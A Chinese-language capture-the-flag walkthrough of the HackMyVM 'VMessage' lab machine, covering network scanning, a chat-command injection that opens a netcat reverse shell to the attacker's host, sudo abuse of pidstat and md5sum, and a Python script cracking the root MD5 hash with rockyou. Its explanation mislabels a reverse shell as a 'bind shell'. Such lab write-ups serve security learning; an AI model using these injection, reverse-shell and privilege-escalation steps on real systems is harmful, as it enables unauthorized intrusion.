HackMyVM-VMessage靶机详解WP
城南花已开 Lv5

信息收集

服务探测

常规扫一下开了哪些端口服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:c2:9e:68, IPv4: 192.168.56.102
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0c (Unknown: locally administered)
192.168.56.100 08:00:27:74:7d:aa (Unknown)
192.168.56.105 08:00:27:d8:d9:35 (Unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.873 seconds (136.68 hosts/sec). 3 responded

┌──(kali㉿kali)-[~]
└─$ ip=192.168.56.105

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -A -p- $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-25 03:58 EST
Nmap scan report for 192.168.56.105
Host is up (0.00081s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 62:8e:95:58:1e:ee:94:d1:56:0e:e5:51:f5:45:38:43 (RSA)
| 256 45:a8:7e:56:7f:df:b0:83:65:6c:88:68:19:a4:86:6c (ECDSA)
|_ 256 bc:54:24:a6:0a:8b:6d:34:dc:a6:ab:80:98:ee:1f:f7 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
| http-title: Login
|_Requested resource was /login?next=%2F
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:D8:D9:35 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.81 ms 192.168.56.105

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.33 seconds

有个http服务,访问看一下

image

登入界面不过可以先注册然后再登入,进入后是个类似聊天室的空间,输入!mpstat可以获取系统状态,明显的命令执行漏洞

image

果然是可以的

image

那就尝试利用这个命令执行反弹个shell到Kali,这里不知道为啥nc -e反弹后的shell会断掉,只能用nc -c或者利用python

1
2
3
4
5
6
7
8
9
!mpstat|nc 192.168.56.102 4444 -c sh	#在聊天框中输入
-----------------------------------
┌──(kali㉿kali)-[~]
└─$ nc -lvp 4444
listening on [any] 4444 ...
192.168.56.105: inverse host lookup failed: Unknown host
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.105] 39550
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  1. -e 参数:这个参数允许 nc 在建立连接后执行一个指定的命令。这通常用于创建一个反向 shell,即所谓的“bind shell”。例如,nc -e /bin/bash 192.168.1.100 1234 会在连接到 192.168.1.1001234 端口后执行 /bin/bash,从而创建一个 shell 会话。
  2. -c 参数:这个参数用于指定一个命令,当 nc 作为服务器监听端口并接受连接时,它会执行这个命令。这通常用于端口转发,即将一个端口的流量转发到另一个端口。例如,nc -l -p 8080 -c 'nc -l -p 80' 会将所有连接到本地 8080 端口的流量转发到本地的 80 端口。

用户提权

用户www-data有sudo权限,可以提权到messagemaster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo -l
Matching Defaults entries for www-data on MSG:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on MSG:
(messagemaster) NOPASSWD: /bin/pidstat
sudo -u messagemaster /bin/pidstat -e /bin/bash -i
Linux 5.10.0-19-amd64 (MSG) 11/25/24 _x86_64_ (1 CPU)

09:31:11 UID PID %usr %system %guest %wait %CPU CPU Command
09:31:11 1000 954 0.00 0.00 0.00 0.00 0.00 0 pidstat
id
uid=1000(messagemaster) gid=1000(messagemaster) groups=1000(messagemaster),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth)
cd ~
ls
User.txt
cat User.txt
ea86091a17126fe48a83c1b8d13d60ab

这样就成功提权到普通用户了,这里我先把我的公钥写到靶机里面,拿到一个稳定的shell好一点

Root提权

同时这个messagemaster也具有sudo权限

1
2
3
4
5
6
sudo -l
Matching Defaults entries for messagemaster on MSG:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User messagemaster may run the following commands on MSG:
(ALL) NOPASSWD: /bin/md5sum

可以利用sudo权限以Root的身份执行/bin/md5sum,不过md5sum并没有提权的方案,他只是一个计算和校验文件的 MD5 值的命令行工具,但是我们可以发现在/var/www中藏有一个文件ROOTPASS名字就反应了里面是root的密码

1
2
3
4
5
6
7
messagemaster@MSG:/tmp$ cd /var/www/
messagemaster@MSG:/var/www$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Nov 21 2022 .
drwxr-xr-x 12 root root 4096 Nov 20 2022 ..
drwxrwxr-- 5 www-data www-data 4096 Nov 18 2022 html
-rw-r----- 1 root root 12 Nov 21 2022 ROOTPASS

利用md5sum读取文件内容

1
2
messagemaster@MSG:/var/www$ sudo /bin/md5sum -t ROOTPASS	
85c73111b30f9ede8504bb4a4b682f48 ROOTPASS
  • -c, –check
    校验指定的文件列表,通常与包含预期 MD5 值的文件一起使用。
  • -b, –binary
    以二进制模式读取文件,默认情况下 md5sum 以文本模式读取文件。
  • -t, –text
    以文本模式读取文件,这是默认行为。
  • -w, –status
    不输出到标准输出,而是打印状态信息到标准错误输出。

得到root的md5后的密码,如何解密呢?拿到在线解密md5的好像都没有结果

那就自己动手写一个,当然了参考了其他师傅的WP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hashlib
from tqdm import tqdm ##在循环中添加一个进度条

# 打开字典文件
with open("/usr/share/wordlists/rockyou.txt", "r", encoding="ISO-8859-1") as f:
# 计算文件中的总行数
total_lines = sum(1 for _ in f)

# 再次打开字典文件
with open("/usr/share/wordlists/rockyou.txt", "r", encoding="ISO-8859-1") as f:
# 使用进度条逐行遍历文件
for line in tqdm(f, total=total_lines, desc="尝试密码"):
# 去除行尾的换行符
password = line.strip()
# 添加行尾的换行符
password += '\n'
# 计算密码的MD5哈希值
hashed_password = hashlib.md5(password.encode()).hexdigest()
# 与目标哈希值进行比较
if hashed_password == "85c73111b30f9ede8504bb4a4b682f48":
print("密码是:", password.strip())
break
else:
print("没有找到任何匹配项。")
--------------------------------------------
❯ python vmessage.py
尝试密码: 75%|████████████████████████████████████████████████████████████████▎ | 10737099/14344392 [00:07<00:02, 1524783.20it/s]密码是: Message5687

tqdm库不用装也行,修改相应的代码即可,或者使用下面更加简易的版本

1
2
3
4
import hashlib
for l in open("rockyou.txt", encoding="utf-8", errors="ignore"):
if hashlib.md5((l.strip()+"\n").encode()).hexdigest() == "85c73111b30f9ede8504bb4a4b682f48":
print(l)

切换到root用户

1
2
3
4
5
6
messagemaster@MSG:/var/www$ su -l root
Password:
root@MSG:~# ls
Root.txt
root@MSG:~# cat Root.txt
a59b23da18102898b854f3034f8b8b0f

这样就拿到了Root的flag👌

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 258.9k